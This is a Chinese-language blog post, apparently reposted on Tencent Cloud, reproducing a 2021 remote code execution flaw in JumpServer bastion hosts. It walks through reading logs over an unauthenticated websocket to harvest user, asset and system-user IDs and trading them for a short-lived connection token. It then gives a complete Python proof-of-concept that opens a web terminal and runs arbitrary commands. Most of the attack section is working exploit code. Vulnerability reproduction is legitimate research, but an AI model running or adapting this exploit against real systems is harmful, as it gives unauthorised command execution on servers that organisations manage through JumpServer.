前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >jumpserver最新RCE复现

jumpserver最新RCE复现

作者头像
用户7151998
发布2023-07-24 18:50:26
5640
发布2023-07-24 18:50:26
举报
文章被收录于专栏:赛博回忆录

前言

今天复现了jumpserver的最新RCE,可能是年纪大了有点激动发出来有点急。不过塔王紧跟着就把文章整理好了不得不说很专业。想了想也包不住多久,就干脆发公众号出来好了。主要是学到了不少东西,前排感谢rr、7师傅还有群里的其他师傅。年纪大了还能跟一跟热点,真的很开心。

正文

首先。安装

安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

github 安装脚本全部是安装最新版的。

安装的时候注意几个坑。

这里全部选择no

然后安装完成之后启动它 到安装目录:/opt/jumpserver-installer-v2.6.1/

访问jumpServer

跟踪一下漏洞代码【未授权】websocket

https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py

新版就加了一个判断。那么就直接连接上这个websocket 进行日志读取

插件下载

https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

ws://192.168.1.73:8080/ws/ops/tasks/log/ {"task":"/opt/jumpserver/logs/jumpserver"}搜索存在一些task id

查看task id 的一些信息

这个信息是不可能泄露账号密码的。别被误导了。

注意。需要添加一台主机【如果不是很懂就参考官方文档】

然后进入web终端 登陆那台机器。【不登陆是获取不到那三个值的】

那三个值。在日志中的体现如下:

拿出一条

/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825&cache_policy=1&system_user_id=79655e4e-1741-46af-a793-fff394540a52&user_id=508be25f-dea8-46f5-8ec8-866c187d8f6d

user_id=508be25f-dea8-46f5-8ec8-866c187d8f6d

asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825

system_user_id=79655e4e-1741-46af-a793-fff394540a52

通过日志中的。api/v1/perms/asset-permissions/user/validate 信息。获取到临时的token 20S

import requests

import json

data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}

url_host='http://192.168.1.73:8080'

def get_token():

url = url_host+'/api/v1/users/connection-token/?user-only=1'

response = requests.post(url, json=data).json()

print(response)

return response['token']

get_token()

上面的是得到一个临时的token

代码如下:

然后这个20s 的token 能做啥,具体的跟踪代码。

登陆后台

后端代码如下:

https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go

尝试websocket 连接一下试试。

最后通过脚本访问ws进行代码执行

POC:

# -*- coding: utf-8 -*-

# import requests

# import json

# data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}

#

# url_host='http://192.168.1.73:8080'

#

# def get_token():

# url = url_host+'/api/v1/users/connection-token/?user-only=1'

# url =url_host+'/api/v1/authentication/connection-token/?user-only=1'

# response = requests.post(url, json=data).json()

# print(response)

# ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])

# print(ret.text)

# get_token()

import asyncio

import websockets

import requests

import json

url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息

async def send_msg(websocket,_text):

if _text == "exit":

print(f'you have enter "exit", goodbye')

await websocket.close(reason="user exit")

return False

await websocket.send(_text)

recv_text = await websocket.recv()

print(f"{recv_text}")

# 客户端主逻辑

async def main_logic(cmd):

print("#######start ws")

async with websockets.connect(target) as websocket:

recv_text = await websocket.recv()

print(f"{recv_text}")

resws=json.loads(recv_text)

id = resws['id']

print("get ws id:"+id)

print("###############")

print("init ws")

print("###############")

inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})

await send_msg(websocket,inittext)

for i in range(20):

recv_text = await websocket.recv()

print(f"{recv_text}")

print("###############")

print("exec cmd: ls")

cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})

print(cmdtext)

await send_msg(websocket, cmdtext)

for i in range(20):

recv_text = await websocket.recv()

print(f"{recv_text}")

print('#######finish')

if __name__ == '__main__':

try:

import sys

host=sys.argv[1]

cmd=sys.argv[2]

if host[-1]=='/':

host=host[:-1]

print(host)

data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",

"system_user": "79655e4e-1741-46af-a793-fff394540a52"}

print("##################")

print("get token url:%s" % (host + url,))

print("##################")

res = requests.post(host + url, json=data)

token = res.json()["token"]

print("token:%s", (token,))

print("##################")

target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token

print("target ws:%s" % (target,))

asyncio.get_event_loop().run_until_complete(main_logic(cmd))

except:

print("python jumpserver.py http://192.168.1.73 whoami")

总结:

1. 通过未授权访问得到三个id

2. 通过三个ID 进行一个零时token的获取

3.通过临时token 进行ws的访问。进而命令执行

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 赛博回忆录 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档